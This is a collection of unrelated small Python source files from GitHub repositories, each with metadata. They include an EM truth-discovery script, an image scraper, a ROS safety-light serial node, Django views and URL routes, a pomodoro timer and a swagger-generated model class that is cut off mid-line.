{"seq_id":"3028884310","text":"import random\n\ndef measured_variables(SC): #find total # measured variables\n\tnumber = -1\n\tfor key, vallist in SC.items():\n\t\tfor value in vallist:\n\t\t\tif value > number:\n\t\t\t\tnumber = value\n\treturn number\n\ndef sbk(SC, total): #calc s, b, k probabilities\n\tsd = dict()\n\tbd = dict()\n\tkd = dict()\n\tfor key,val in SC.items():\n\t\tsd[key] = len(val)/total\n\t\tbd[key] = 0.5*sd[key]\n\t\tkd[key] = len(val)\n\treturn sd, bd, kd\n\ndef calc_Z(a, b, k, totalmv, sources): #estimation maximization alg\n\td = random.uniform(0,1)\n\tZ = dict() #Z is set of latent variables\n\tcount = 0\n\twhile count < 20:\n\t\tcount += 1\n\t\tj = 1\n\t\twhile j <= totalmv:\n\t\t\ti = 1\n\t\t\ta_j = 1\n\t\t\tb_j = 1\n\t\t\twhile i < sources:\n\t\t\t\tif j in SC[i]: mval = 1\n\t\t\t\telse: mval = 0\n\t\t\t\ta_j *= pow(a[i], mval)*pow((1-a[i]), (1-mval))\n\t\t\t\tb_j *= pow(b[i], mval)*pow((1-b[i]), (1-mval))\n\t\t\t\ti += 1\n\t\t\tZ[j] = (a_j*d) / float(a_j*d + b_j*(1-d))\n\t\t\tj+=1\n\t\ttotalZ = sum(Z.values())\n\t\ti = 0\n\t\twhile i < sources:\n\t\t\ti += 1\n\t\t\tz = 0\n\t\t\tfor claim_id in SC[i]:\n\t\t\t\tz += Z[claim_id]\n\t\t\ttry:\n\t\t\t\ta[i] = z / float(totalZ)\n\t\t\texcept ZeroDivisionError:\n\t\t\t\ta[i] = 0\n\t\t\ttry:\n\t\t\t\tb[i] = (k[i] - z) / float(totalmv - totalZ)\n\t\t\texcept ZeroDivisionError:\n\t\t\t\tb[i] = 0\n\t\t\td = totalZ/totalmv\n\treturn Z\n\nSC = dict()\ninfile = 'SCMatrix_Submit'\nwith open(infile, 'r') as f:\n\tfor line in f:\n\t\tsourceid, claimid = map(int, line.strip().split(','))\n\t\tif sourceid not in SC:\n\t\t\tSC[sourceid] = []\n\t\tSC[sourceid].append(claimid)\n\ntotalmv = measured_variables(SC)\nsi, bi, ki = sbk(SC, totalmv)\n#bi -> half si\n#ki -> key = sourceid, value = num claimids they've posted\nai = si #si -> key = sourceid, value = si value\n\nZ = calc_Z(ai, bi, ki, totalmv, len(SC)) #determine Z\noutfile = 'task1.txt'\nwith open(outfile, 'w') as f: #calc results and send them to output file\n\tfor key,val in Z.items():\n\t\tif val>=0.5: output = 1\n\t\telse: output = 0\n\t\tf.write(str(key)+\",\"+str(output)+\"\\n\")\n","repo_name":"mcresap/ND","sub_path":"Classwork/esc-courses/sp20-cse-40437.01/e.py","file_name":"e.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33336971740","text":"def check_palindrome(str):\n    j = len(str) - 1\n    i = 0\n    while(i<j):\n        if(str[i] != str[j]):\n            return False\n        i +=1\n        j -=1\n    return True\nstr = check_palindrome(input(\"Enter string: \"))\n\nif str:\n    print(\"String is palindrome\")\nelse:\n    print(\"String is Not palindrome\")","repo_name":"MdRoniAhamed/Phitron-School","sub_path":"Second semester/OOP/5 Week/Exam/Question_1.py","file_name":"Question_1.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4364805562","text":"# 抓取指定页面内容并解析出需要的内容（抓取异步数据）\n# http://docs.python-requests.org/zh_CN/latest/user/quickstart.html  requests模块官方文档\nimport requests\nimport re\nimport os\nfrom requests.exceptions import RequestException\nfrom urllib import request\nfrom lxml import etree  # lxml模块不是自带的，需要安装\nimport json\nimport time\n\n\ndef get_ajax_data(url, handler=''):\n    \"\"\"\n    抓取异步加载的数据（图片等）\n    :param url: 页面地址\n    :param handler: 处理函数\n    :return:\n    \"\"\"\n    data = requests.get(url)\n    # print(data.text)  # 返回的是Unicode型的数据，可能乱码\n    # print(data.content)  # 返回的是bytes型的数据\n    htmlPage = data.text\n    prog = re.compile(r'app\\.page\\[\"pins\"\\].*')\n    appPins = prog.findall(htmlPage)\n    true = \"true\"\n    null = None\n    result = eval(appPins[0][19:-1])\n    images = []\n    if not os.path.exists('imgs'):\n        os.mkdir(\"imgs\")\n    for i in result:\n        info = {}\n        info['id'] = str(i['pin_id'])\n        info['url'] = \"http://img.hb.aicdn.com/\" + i[\"file\"][\"key\"] + \"_fw658\"\n        info['type'] = i[\"file\"][\"type\"][6:]\n        images.append(info)\n    for image in images:\n        req = requests.get(image[\"url\"])\n        imageName = image[\"id\"] + \".\" + image[\"type\"]\n        with open(\"imgs/\" + imageName, 'wb') as fp:\n            fp.write(req.content)\n\n\ndef make_ajax_url(No):\n    \"\"\" 返回ajax请求的url \"\"\"\n    return \"http://huaban.com/favorite/beauty/?i5p998kw&max=\" + No + \"&limit=20&wfl=1\"\n\n\nget_ajax_data(r'http://huaban.com/favorite/beauty/')\n","repo_name":"vippiv/python-demo","sub_path":"pratise/24.py","file_name":"24.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"11709578840","text":"#!/usr/bin/env python3\n\nfrom ctypes import Structure, c_bool, c_uint8\nfrom scr_core.state import DeviceStateEnum\nfrom autonav_msgs.msg import SafetyLights\nfrom scr_msgs.msg import SystemState\nfrom scr_core.node import Node\nimport threading\nimport serial\nimport rclpy\nimport json\nimport os\nimport time\n\n\nclass SafetyLightsPacket(Structure):\n    _fields_ = [\n        (\"autonomous\", c_bool, 1),\n        (\"eco\", c_uint8, 1),\n        (\"mode\", c_uint8, 6),\n        (\"brightness\", c_uint8, 8),\n        (\"red\", c_uint8, 8),\n        (\"green\", c_uint8, 8),\n        (\"blue\", c_uint8, 8)\n    ]\n\n\nclass SafetyLightsSerial(Node):\n    def __init__(self):\n        super().__init__(\"autonav_serial_safetylights\")\n\n    def configure(self):\n        self.safetyLightsSubscriber = self.create_subscription(SafetyLights, \"/autonav/SafetyLights\", self.onSafetyLightsReceived, 20)\n        self.pico = None\n        self.writeQueue = []\n        self.writeQueueLock = threading.Lock()\n        self.writeThread = threading.Thread(target=self.picoWriteWorker)\n        self.writeThread.daemon = True\n        self.writeThread.start()\n        \n    def transition(self, old: SystemState, updated: SystemState):\n        pass\n\n    def picoWriteWorker(self):\n        while rclpy.ok():\n            does_exist = os.path.exists(\"/dev/autonav-mc-safetylights\")\n            if not does_exist:\n                time.sleep(1)\n                continue\n            \n            self.pico = serial.Serial(\"/dev/autonav-mc-safetylights\", baudrate = 115200)\n            self.setDeviceState(DeviceStateEnum.OPERATING)\n            while self.pico is not None and self.pico.is_open:\n                if not self.pico.is_open or self.pico.in_waiting > 0 or len(self.writeQueue) == 0:\n                    continue\n                \n                self.writeQueueLock.acquire()\n                if len(self.writeQueue) > 0:\n                    jsonStr = json.dumps(self.writeQueue.pop(0))\n                    try:\n                        self.pico.write(bytes(jsonStr, \"utf-8\"))\n                    except:\n                        self.log(f\"Failed to write to serial port: {jsonStr}\")\n                self.writeQueueLock.release()\n\n    def onSafetyLightsReceived(self, lights: SafetyLights):\n        data = {}\n        data[\"autonomous\"] = lights.autonomous\n        data[\"eco\"] = lights.eco\n        data[\"mode\"] = lights.mode\n        data[\"brightness\"] = lights.brightness\n        data[\"red\"] = lights.red\n        data[\"green\"] = lights.green\n        data[\"blue\"] = lights.blue\n        self.writeQueueLock.acquire()\n        self.writeQueue.append(data)\n        self.writeQueueLock.release()\n\n\ndef main():\n    rclpy.init()\n    rclpy.spin(SafetyLightsSerial())\n    rclpy.shutdown()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"SoonerRobotics/autonav_software_2023","sub_path":"autonav_ws/src/autonav_serial/src/safety_lights.py","file_name":"safety_lights.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"38436079130","text":"def sol(arr):\n    n = len(arr)\n    dict1={}\n    data=[]\n    for x in arr:\n        if x not in dict1:\n            dict1[x]=1\n            print(\"No\")\n            data.append(x)\n        else:\n            print(\"Yes\")\n            data.append(x)\n    return data\n\narr=[x for x in input().split()]\nprint(sol(arr))","repo_name":"rk18venom/-CrackYourPlacement-","sub_path":"Dictionary and HashMap/Tredence Set1.py","file_name":"Tredence Set1.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2426794940","text":"\"\"\"biblioteca URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom peliculas import views\nfrom peliculas.api import ActoresView, ActorView, DirectorView, DirectoresView, PeliculaView, PeliculasView, valoracion\nfrom django.conf.urls import handler404, handler500, handler403, handler400\n\nhandler404 = 'peliculas.views.error_404'\nhandler500 = 'peliculas.views.error_500'\nhandler403 = 'peliculas.views.error_403'\nhandler400 = 'peliculas.views.error_400'\n\n\nurlpatterns = [\n    path('peliculas/<int:pk>/', views.PeliculaDetalles.as_view(), name=\"detallesPelicula\"),\n    path('peliculas/', views.PeliculaListado.as_view(), name=\"listadoPeliculas\"),\n    path('director/', views.DirectorListado.as_view(), name =\"listadoDirectores\"),\n    path('director/<int:pk>/', views.DirectorDetalles.as_view(), name=\"detallesDirector\"),\n    path('actores/', views.ActorListado.as_view(), name =\"listadoActores\"), \n    path('actores/<int:pk>/', views.ActorDetalles.as_view(), name=\"detallesActor\"),\n    path('admin/', admin.site.urls),\n    path('peliculas/nueva',views.PeliculaNueva.as_view() , name='pelicula_nueva'),\n    path('peliculas/<int:pk>/editar/', views.PeliculaEditar.as_view(), name='pelicula_editar'),\n    path('peliculas/<int:pk>/eliminar/',views.PeliculaEliminar.as_view(), name='pelicula_eliminar'),\n    path('peliculas/<int:pk>/valorar/', views.valoracion , name='votacionPelicula'),\n    path('director/nuevo',views.DirectorNuevo.as_view() , name='director_nuevo'),\n    path('director/<int:pk>/editar/', views.DirectorEditar.as_view(), name='director_editar'),\n    path('director/<int:pk>/eliminar/', views.DirectorEliminar.as_view(), name='director_eliminar'),\n    path('actores/nuevo',views.ActorNuevo.as_view() , name='actor_nuevo'),                                    \n    path('actores/<int:pk>/editar/', views.ActorEditar.as_view(), name='actor_editar'),                       \n    path('actores/<int:pk>/eliminar/', views.ActorEliminar.as_view(), name='actor_eliminar'),        \n    path('registro/',views.RegistroUsuario.as_view(), name='registro_usuario'),\n    path('accounts/', include('django.contrib.auth.urls')),                                      #Add Django site authentication urls (for login, logout, password management)\n    #Api Django Rest Framework\n    path('api/', include(\"rest_framework.urls\", namespace=\"rest_framework\")),                    \n    path('api/actores/', ActoresView.as_view(), name=\"apiView_listadoActores\"),\n    path('api/actores/<int:pk>/', ActorView.as_view(), name=\"apiView_detallesActor\"),\n    path('api/directores/', DirectoresView.as_view(), name =\"apiView_listadoDirectores\"),\n    path('api/directores/<int:pk>/', DirectorView.as_view(), name=\"apiView_detallesDirector\"),\n    path('api/peliculas/', PeliculasView.as_view(), name=\"apiView_listadoPeliculas\"),\n    path('api/peliculas/<int:pk>/', PeliculaView.as_view(), name=\"apiView_detallesPelicula\"),\n    path('api/peliculas/<int:pk>/valorar/', valoracion , name='apiView_votacionPelicula'),\n\n    \n    \n]\n\n","repo_name":"AlbertoMaciasGutierrez/biblioteca","sub_path":"biblioteca/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16517380904","text":"from django.shortcuts import render\nfrom rest_framework import status\n\nfrom rest_framework.decorators import api_view\nfrom rest_framework.parsers import JSONParser\nfrom rest_framework.response import Response\n\nfrom soccer.models import Country, Soccerplayer, Club\nfrom soccer.serializers import CountryOptionSerializer, CLubFormSerializer, SoccerplayerFormSerializer, \\\n    SoccerplayerListSerializer, ClubListSerializer\n\n\n# Create your views here.\n\n##Country\n#@swagger_auto_schema(method='GET', responses={200: CountryOptionSerializer(many=True)})\n@api_view(['GET'])\ndef country_option_list(request):\n    countries = Country.objects.all()\n    serializer = CountryOptionSerializer(countries, many=True)\n    return Response(serializer.data)\n\n##Club--------------------------------------------------------------------------------------------------------\n#@swagger_auto_schema(method='GET', responses={200: ActorsOptionSerializer(many=True)})\n@api_view(['GET'])\ndef club_option_list(request):\n    club = Club.objects.all()\n    serializer = ClubListSerializer(club, many=True)\n    return Response(serializer.data)\n\n\n@api_view(['POST'])\ndef club_form_create(request):\n    serializer = CLubFormSerializer(data=request.data)\n    if serializer.is_valid():\n        serializer.save()\n        return Response(serializer.data, status=201)\n    return Response(serializer.errors, status=400)\n\n@api_view(['PUT'])\ndef club_form_update(request,pk):\n    try:\n        club = Club.objects.get(pk=pk)\n    except Club.DoesNotExist:\n        return Response({'error': 'Club does not exist.'}, status=404)\n\n    data = JSONParser().parse(request)\n    serializer = CLubFormSerializer(club, data=data)\n    if serializer.is_valid():\n        serializer.save()\n        return Response(serializer.data)\n    return Response(serializer.errors, status=400)\n\n@api_view(['GET'])\ndef club_form_get(request,pk):\n    try:\n        club = Club.objects.get(pk=pk)\n    except Club.DoesNotExist:\n        return Response({'error': 'Club does not exist.'}, status=404)\n    serializer = CLubFormSerializer(club)\n    return Response(serializer.data)\n\n@api_view(['GET','DELETE'])\ndef club_delete(request,pk):\n    try:\n        club = Club.objects.get(pk=pk)\n    except Club.DoesNotExist:\n        return Response({'error': 'club does not exist.'}, status=404)\n\n    if request.method == 'GET':\n        serializer = CLubFormSerializer(club)\n        return Response(serializer.data)\n\n    elif request.method == 'DELETE':\n        club.delete()\n        return Response(status=status.HTTP_204_NO_CONTENT)\n\n##soccerplayer----------------------------------------------------------------------------------\n@api_view(['GET'])\ndef soccerplayer_option_list(request):\n    soccerplayer = Soccerplayer.objects.all()\n    serializer = SoccerplayerListSerializer(soccerplayer, many=True)\n    return Response(serializer.data)\n\n#@swagger_auto_schema(method='GET', responses={200: MovieFormSerializer()})\n@api_view(['GET'])\ndef soccerplayer_form_get(request, pk):\n    try:\n        soccerplayer = Soccerplayer.objects.get(pk=pk)\n    except Soccerplayer.DoesNotExist:\n        return Response({'error': 'Soccerplayer does not exist.'}, status=404)\n    serializer = SoccerplayerFormSerializer(soccerplayer)\n    return Response(serializer.data)\n\n#@swagger_auto_schema(method='POST', request_body=MovieFormSerializer, responses={200: MovieFormSerializer()})\n@api_view(['POST'])\ndef soccerplayer_form_create(request):\n    serializer = SoccerplayerFormSerializer(data=request.data)\n    if serializer.is_valid():\n        serializer.save()\n        return Response(serializer.data, status=201)\n    return Response(serializer.errors, status=400)\n\n#@swagger_auto_schema(method='PUT', request_body=MovieFormSerializer, responses={200: MovieFormSerializer()})\n@api_view(['PUT'])\ndef soccerplayer_form_update(request, pk):\n    try:\n        soccerplayer = Soccerplayer.objects.get(pk=pk)\n    except Soccerplayer.DoesNotExist:\n        return Response({'error': 'Soccerplayer does not exist.'}, status=404)\n\n    serializer = SoccerplayerFormSerializer(soccerplayer, data=request.data)\n    if serializer.is_valid():\n        serializer.save()\n        return Response(serializer.data)\n    return Response(serializer.errors, status=400)\n\n@api_view(['GET','DELETE'])\ndef soccerplayer_delete(request, pk):\n    try:\n        soccerplayer = Soccerplayer.objects.get(pk=pk)\n    except Soccerplayer.DoesNotExist:\n        return Response({'error': 'Soccerplayer does not exist.'}, status=404)\n\n    if request.method == 'GET':\n        serializer = SoccerplayerFormSerializer(soccerplayer)\n        return Response(serializer.data)\n\n    elif request.method == 'DELETE':\n        soccerplayer.delete()\n        return Response(status=status.HTTP_204_NO_CONTENT)\n\n","repo_name":"LukasR056/HW2","sub_path":"backend/soccer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40602056494","text":"from datetime import timedelta\nimport time\nimport sys\nimport subprocess\n\n\nWORK_TIME = timedelta(seconds=1500)\nSHORT_BREAK = timedelta(seconds=300)\nLONG_BREAK = timedelta(seconds=900)\n\n\ndef single_round(round_num, total_rounds):\n    subprocess.run('clear')\n    working = WORK_TIME\n    print (f'Round {round_num} of {total_rounds}')\n    while working:                  \n        sys.stdout.write(f\"\\rTime to work: {working}\")\n        sys.stdout.flush()\n        working -= timedelta(seconds=1)\n        time.sleep(1)\n\n\ndef short_break():\n    subprocess.run('clear')\n    resting = SHORT_BREAK\n    while resting: \n        sys.stdout.write(f\"\\rOn short break for {resting}\")\n        sys.stdout.flush()\n        resting -= timedelta(seconds=1)\n        time.sleep(1)\n\n\ndef long_break():\n    subprocess.run('clear')\n    resting = LONG_BREAK\n    while resting:\n        sys.stdout.write(f\"\\rOn long break for {resting}\")\n        sys.stdout.flush()\n        resting -= timedelta(seconds=1)\n        time.sleep(1)\n\n\ndef pomodoro(total_rounds, long_break_after=2):\n    rounds = [i for i in range(1, total_rounds+1)]\n    for round_number in rounds:\n        single_round(round_number, total_rounds)\n        if round_number == total_rounds:\n            break\n        elif round_number % long_break_after == 0:\n            long_break()\n        else:\n            short_break()\n\n    subprocess.run('clear')\n    print(f\"Good job, you've done {total_rounds} rounds\")\n\n\nif __name__ == \"__main__\":\n    pomodoro(4)\n","repo_name":"uuubnb/Python_exercises","sub_path":"pomodoro_timer/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28717197903","text":"path='/home/robert/darknet/data/kishore_dataset/0_person/person_annot/'\npath_1 = '/home/robert/darknet/data/kishore_dataset/0_person/person_obj/'\n\nimport os\n\nfor file_name in os.listdir(path):\n              #print(\"file namee\",file_name)\n              nam = file_name.rstrip('.txt')\n              ren = \"person_\"+file_name.rstrip('.txt')[-10:]\n              print(\"renameee\",ren)\n              if nam+\".jpg\" in os.listdir(path_1):\n                           print(\"entered loop\")\n                           os.rename(path_1+nam+\".jpg\",path_1+ren+\".jpg\")#(test2 empty test2 to test1)\n                           os.rename(path+nam+\".txt\",path+ren+\".txt\")\n","repo_name":"kishorebalaga/my_project","sub_path":"rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33846562535","text":"def profile(seqs):\n    '''\n    >>> seqs = ['GCAAAACG', 'GCGAAACT', 'TACCTTCA', 'TATGTTCA', 'GCCTTAGG', 'GACTTATA', 'TCGGATCC']\n    >>> profile(seqs)\n    {'A': [0, 3, 1, 2, 3, 4, 0, 3], 'C': [0, 4, 3, 1, 0, 0, 5, 1], 'T': [3, 0, 1, 2, 4, 3, 1, 1], 'G': [4, 0, 2, 2, 0, 0, 1, 2]}\n    '''\n    length = len(seqs[0])\n    for i in seqs:\n        if len(i) != length:\n            raise AssertionError('sequences should have equal length')\n    \n\n","repo_name":"isk02206/python","sub_path":"informatics/BA_1 2017-2018/series_8/Consensus sequence.py","file_name":"Consensus sequence.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5641850748","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom datetime import date, datetime  # noqa: F401\n\nfrom typing import List, Dict  # noqa: F401\n\nfrom swagger_server.models.base_model_ import Model\nfrom swagger_server.models.entryproperties_key_type import EntrypropertiesKeyType  # noqa: F401,E501\nfrom swagger_server.models.list_cid_set_events_response_cid_set_events import ListCidSetEventsResponseCidSetEvents  # noqa: F401,E501\nfrom swagger_server.models.object import Object  # noqa: F401,E501\nfrom swagger_server import util\n\n\nclass ListCidSetEventsResponse(Model):\n    \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n    Do not edit the class manually.\n    \"\"\"\n    def __init__(self, signature: object=None, has_more_elements: bool=None, participant: AllOfListCidSetEventsResponseParticipant=None, key_type: EntrypropertiesKeyType=None, start_time: datetime=None, end_time: datetime=None, sync_verifier_start: AllOfListCidSetEventsResponseSyncVerifierStart=None, sync_verifier_end: AllOfListCidSetEventsResponseSyncVerifierEnd=None, cid_set_events: List[ListCidSetEventsResponseCidSetEvents]=None):  # noqa: E501\n        \"\"\"ListCidSetEventsResponse - a model defined in Swagger\n\n        :param signature: The signature of this ListCidSetEventsResponse.  # noqa: E501\n        :type signature: object\n        :param has_more_elements: The has_more_elements of this ListCidSetEventsResponse.  # noqa: E501\n        :type has_more_elements: bool\n        :param participant: The participant of this ListCidSetEventsResponse.  # noqa: E501\n        :type participant: AllOfListCidSetEventsResponseParticipant\n        :param key_type: The key_type of this ListCidSetEventsResponse.  # noqa: E501\n        :type key_type: EntrypropertiesKeyType\n        :param start_time: The start_time of this ListCidSetEventsResponse.  # noqa: E501\n        :type start_time: datetime\n        :param end_time: The end_time of this ListCidSetEventsResponse.  # noqa: E501\n        :type end_time: datetime\n        :param sync_verifier_start: The sync_verifier_start of this ListCidSetEventsResponse.  # noqa: E501\n        :type sync_verifier_start: AllOfListCidSetEventsResponseSyncVerifierStart\n        :param sync_verifier_end: The sync_verifier_end of this ListCidSetEventsResponse.  # noqa: E501\n        :type sync_verifier_end: AllOfListCidSetEventsResponseSyncVerifierEnd\n        :param cid_set_events: The cid_set_events of this ListCidSetEventsResponse.  # noqa: E501\n        :type cid_set_events: List[ListCidSetEventsResponseCidSetEvents]\n        \"\"\"\n        self.swagger_types = {\n            'signature': object,\n            'has_more_elements': bool,\n            'participant': AllOfListCidSetEventsResponseParticipant,\n            'key_type': EntrypropertiesKeyType,\n            'start_time': datetime,\n            'end_time': datetime,\n            'sync_verifier_start': AllOfListCidSetEventsResponseSyncVerifierStart,\n            'sync_verifier_end': AllOfListCidSetEventsResponseSyncVerifierEnd,\n            'cid_set_events': List[ListCidSetEventsResponseCidSetEvents]\n        }\n\n        self.attribute_map = {\n            'signature': 'Signature',\n            'has_more_elements': 'HasMoreElements',\n            'participant': 'Participant',\n            'key_type': 'KeyType',\n            'start_time': 'StartTime',\n            'end_time': 'EndTime',\n            'sync_verifier_start': 'SyncVerifierStart',\n            'sync_verifier_end': 'SyncVerifierEnd',\n            'cid_set_events': 'CidSetEvents'\n        }\n        self._signature = signature\n        self._has_more_elements = has_more_elements\n        self._participant = participant\n        self._key_type = key_type\n        self._start_time = start_time\n        self._end_time = end_time\n        self._sync_verifier_start = sync_verifier_start\n        self._sync_verifier_end = sync_verifier_end\n        self._cid_set_events = cid_set_events\n\n    @classmethod\n    def from_dict(cls, dikt) -> 'ListCidSetEventsResponse':\n        \"\"\"Returns the dict as a model\n\n        :param dikt: A dict.\n        :type: dict\n        :return: The ListCidSetEventsResponse of this ListCidSetEventsResponse.  # noqa: E501\n        :rtype: ListCidSetEventsResponse\n        \"\"\"\n        return util.deserialize_model(dikt, cls)\n\n    @property\n    def signature(self) -> object:\n        \"\"\"Gets the signature of this ListCidSetEventsResponse.\n\n\n        :return: The signature of this ListCidSetEventsResponse.\n        :rtype: object\n        \"\"\"\n        return self._signature\n\n    @signature.setter\n    def signature(self, signature: object):\n        \"\"\"Sets the signature of this ListCidSetEventsResponse.\n\n\n        :param signature: The signature of this ListCidSetEventsResponse.\n        :type signature: object\n        \"\"\"\n\n        self._signature = signature\n\n    @property\n    def has_more_elements(self) -> bool:\n        \"\"\"Gets the has_more_elements of this ListCidSetEventsResponse.\n\n        Existem mais elementos para iterar  # noqa: E501\n\n        :return: The has_more_elements of this ListCidSetEventsResponse.\n        :rtype: bool\n        \"\"\"\n        return self._has_more_elements\n\n    @has_more_elements.setter\n    def has_more_elements(self, has_more_elements: bool):\n        \"\"\"Sets the has_more_elements of this ListCidSetEventsResponse.\n\n        Existem mais elementos para iterar  # noqa: E501\n\n        :param has_more_elements: The has_more_elements of this ListCidSetEventsResponse.\n        :type has_more_elements: bool\n        \"\"\"\n\n        self._has_more_elements = has_more_elements\n\n    @property\n    def participant(self) -> AllOfListCidSetEventsResponseParticipant:\n        \"\"\"Gets the participant of this ListCidSetEventsResponse.\n\n\n        :return: The participant of this ListCidSetEventsResponse.\n        :rtype: AllOfListCidSetEventsResponseParticipant\n        \"\"\"\n        return self._participant\n\n    @participant.setter\n    def participant(self, participant: AllOfListCidSetEventsResponseParticipant):\n        \"\"\"Sets the participant of this ListCidSetEventsResponse.\n\n\n        :param participant: The participant of this ListCidSetEventsResponse.\n        :type participant: AllOfListCidSetEventsResponseParticipant\n        \"\"\"\n        if participant is None:\n            raise ValueError(\"Invalid value for `participant`, must not be `None`\")  # noqa: E501\n\n        self._participant = participant\n\n    @property\n    def key_type(self) -> EntrypropertiesKeyType:\n        \"\"\"Gets the key_type of this ListCidSetEventsResponse.\n\n\n        :return: The key_type of this ListCidSetEventsResponse.\n        :rtype: EntrypropertiesKeyType\n        \"\"\"\n        return self._key_type\n\n    @key_type.setter\n    def key_type(self, key_type: EntrypropertiesKeyType):\n        \"\"\"Sets the key_type of this ListCidSetEventsResponse.\n\n\n        :param key_type: The key_type of this ListCidSetEventsResponse.\n        :type key_type: EntrypropertiesKeyType\n        \"\"\"\n        if key_type is None:\n            raise ValueError(\"Invalid value for `key_type`, must not be `None`\")  # noqa: E501\n\n        self._key_type = key_type\n\n    @property\n    def start_time(self) -> datetime:\n        \"\"\"Gets the start_time of this ListCidSetEventsResponse.\n\n        Data-hora do primeiro evento da lista  # noqa: E501\n\n        :return: The start_time of this ListCidSetEventsResponse.\n        :rtype: datetime\n        \"\"\"\n        return self._start_time\n\n    @start_time.setter\n    def start_time(self, start_time: datetime):\n        \"\"\"Sets the start_time of this ListCidSetEventsResponse.\n\n        Data-hora do primeiro evento da lista  # noqa: E501\n\n        :param start_time: The start_time of this ListCidSetEventsResponse.\n        :type start_time: datetime\n        \"\"\"\n        if start_time is None:\n            raise ValueError(\"Invalid value for `start_time`, must not be `None`\")  # noqa: E501\n\n        self._start_time = start_time\n\n    @property\n    def end_time(self) -> datetime:\n        \"\"\"Gets the end_time of this ListCidSetEventsResponse.\n\n        Data-hora do último evento da lista  # noqa: E501\n\n        :return: The end_time of this ListCidSetEventsResponse.\n        :rtype: datetime\n        \"\"\"\n        return self._end_time\n\n    @end_time.setter\n    def end_time(self, end_time: datetime):\n        \"\"\"Sets the end_time of this ListCidSetEventsResponse.\n\n        Data-hora do último evento da lista  # noqa: E501\n\n        :param end_time: The end_time of this ListCidSetEventsResponse.\n        :type end_time: datetime\n        \"\"\"\n        if end_time is None:\n            raise ValueError(\"Invalid value for `end_time`, must not be `None`\")  # noqa: E501\n\n        self._end_time = end_time\n\n    @property\n    def sync_verifier_start(self) -> AllOfListCidSetEventsResponseSyncVerifierStart:\n        \"\"\"Gets the sync_verifier_start of this ListCidSetEventsResponse.\n\n\n        :return: The sync_verifier_start of this ListCidSetEventsResponse.\n        :rtype: AllOfListCidSetEventsResponseSyncVerifierStart\n        \"\"\"\n        return self._sync_verifier_start\n\n    @sync_verifier_start.setter\n    def sync_verifier_start(self, sync_verifier_start: AllOfListCidSetEventsResponseSyncVerifierStart):\n        \"\"\"Sets the sync_verifier_start of this ListCidSetEventsResponse.\n\n\n        :param sync_verifier_start: The sync_verifier_start of this ListCidSetEventsResponse.\n        :type sync_verifier_start: AllOfListCidSetEventsResponseSyncVerifierStart\n        \"\"\"\n        if sync_verifier_start is None:\n            raise ValueError(\"Invalid value for `sync_verifier_start`, must not be `None`\")  # noqa: E501\n\n        self._sync_verifier_start = sync_verifier_start\n\n    @property\n    def sync_verifier_end(self) -> AllOfListCidSetEventsResponseSyncVerifierEnd:\n        \"\"\"Gets the sync_verifier_end of this ListCidSetEventsResponse.\n\n\n        :return: The sync_verifier_end of this ListCidSetEventsResponse.\n        :rtype: AllOfListCidSetEventsResponseSyncVerifierEnd\n        \"\"\"\n        return self._sync_verifier_end\n\n    @sync_verifier_end.setter\n    def sync_verifier_end(self, sync_verifier_end: AllOfListCidSetEventsResponseSyncVerifierEnd):\n        \"\"\"Sets the sync_verifier_end of this ListCidSetEventsResponse.\n\n\n        :param sync_verifier_end: The sync_verifier_end of this ListCidSetEventsResponse.\n        :type sync_verifier_end: AllOfListCidSetEventsResponseSyncVerifierEnd\n        \"\"\"\n        if sync_verifier_end is None:\n            raise ValueError(\"Invalid value for `sync_verifier_end`, must not be `None`\")  # noqa: E501\n\n        self._sync_verifier_end = sync_verifier_end\n\n    @property\n    def cid_set_events(self) -> List[ListCidSetEventsResponseCidSetEvents]:\n        \"\"\"Gets the cid_set_events of this ListCidSetEventsResponse.\n\n\n        :return: The cid_set_events of this ListCidSetEventsResponse.\n        :rtype: List[ListCidSetEventsResponseCidSetEvents]\n        \"\"\"\n        return self._cid_set_events\n\n    @cid_set_events.setter\n    def cid_set_events(self, cid_set_events: List[ListCidSetEventsResponseCidSetEvents]):\n        \"\"\"Sets the cid_set_events of this ListCidSetEventsResponse.\n\n\n        :param cid_set_events: The cid_set_events of this ListCidSetEventsResponse.\n        :type cid_set_events: List[ListCidSetEventsResponseCidSetEvents]\n        \"\"\"\n\n        self._cid_set_events = 